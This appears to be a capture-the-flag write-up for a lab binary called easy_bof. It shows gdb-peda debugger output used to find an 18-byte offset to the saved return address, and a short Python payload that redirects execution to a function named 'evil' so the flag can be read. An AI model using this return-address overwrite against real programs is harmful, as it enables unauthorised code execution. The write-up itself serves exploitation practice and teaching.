# easy\_buffer\_overflow

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## Writeup:

#### Step 1:

Use gdb to analyze easy bof and set breakpoint at main.

Then run the process.

```
i:~/Desktop/balqs_CTF/easy_buffer_overflow# gdb easy bof
GNU gdb (Debian 8.3-1) 8.3
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Find the GDB manual and other documentation resources online at:
     <a href="http://www.gnu.org/software/gdb/documentation/">http://www.gnu.org/software/gdb/documentation/>.</a>
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from easy bof...
(No debugging symbols found in easy bof)
            b main
Breakpoint 1 at 0x40068c
Starting program: /root/Desktop/balqs_CTF/easy_buffer_overflow/easy_bof
```

### Step 2:

Keep typing next until the program called gets.

Then use pattc to create a strings with length 100 and use it as input.

#### Type info frame to check saved rip

#### Step 3:

After typing input, check the frame again and use pattern offset [saved rip] to find out the offset

```
gdb-peda$ info frame
Stack level 0, frame at 0x7fffffffe140:
    rip = 0x4006f1 in main; saved rip = 0x412841412d414143
    called by frame at 0x7fffffffe148
    Arglist at 0x7fffffffe130, args:
    Locals at 0x7fffffffe130, Previous frame's sp is 0x7fffffffe140
    Saved registers:
    rbp at 0x7fffffffe130, rip at 0x7fffffffe138
gdb-peda$ pattern offset 0x412841412d414143
4695074359721673027 found at offset: 18
```

## Step 4:

Use info address evil to find out the address of evil

```
gdb-peda$ info address evil
Symbol "evil" is at 0x400677 in a file compiled without debugging.
```

#### Step 5:

Now we know the offset (18) and the address (0x400677). We just need to send payload = 'A'\*offset + addr. Then execute easy\_bof.py.

```
offset = 18
addr = p64(0x400677)
payload = 'A'*offset + addr
```

# Step 6:

Use Is to show the files, and find a file named flag.

#### Use cat to read flag

## Step 7:

Find flag = balqs{WOW\_you\_know\_buf\_overflow?}